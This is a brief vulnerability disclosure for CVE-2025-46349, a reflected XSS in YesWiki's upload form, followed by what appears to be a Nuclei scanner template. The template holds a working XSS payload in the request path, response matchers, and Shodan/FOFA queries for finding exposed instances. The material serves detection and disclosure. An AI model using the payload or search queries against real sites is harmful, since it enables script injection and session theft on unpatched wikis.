YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4.
PoC代码[已公开]
id: CVE-2025-46349
info:
name: YesWiki Reflected XSS via File Upload
author: Mahmoud Gamal
severity: high
description: |
YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4.
impact: |
Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
remediation: |
Update to version 4.5.4 or later.
reference:
- https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2
- https://nvd.nist.gov/vuln/detail/CVE-2025-46349
classification:
cve-id: CVE-2025-46349
epss-score: 0.00708
epss-percentile: 0.71693
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
metadata:
max-request: 1
shodan-query: html:"yeswiki"
fofa-query: body="yeswiki"
tags: cve,cve2025,xss,yeswiki
http:
- method: GET
path:
- "{{BaseURL}}/?PagePrincipale/upload&file=%22%3E%3Csvg/onload=alert(document.domain)%3E"
matchers:
- type: dsl
dsl:
- 'contains(body, "Upload form for file \"><svg/onload=alert(document.domain)>")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
# digest: 4a0a0047304502207bd1182f9fe19547d063bfd43d4b14ffe2e891306c835aa15af1c67e252ac52e0221009b3d6741d46e997c442258980ec8e58c7c0952957c78048548673c3d2c51762d:922c64590222798bb761d5b6d8e72950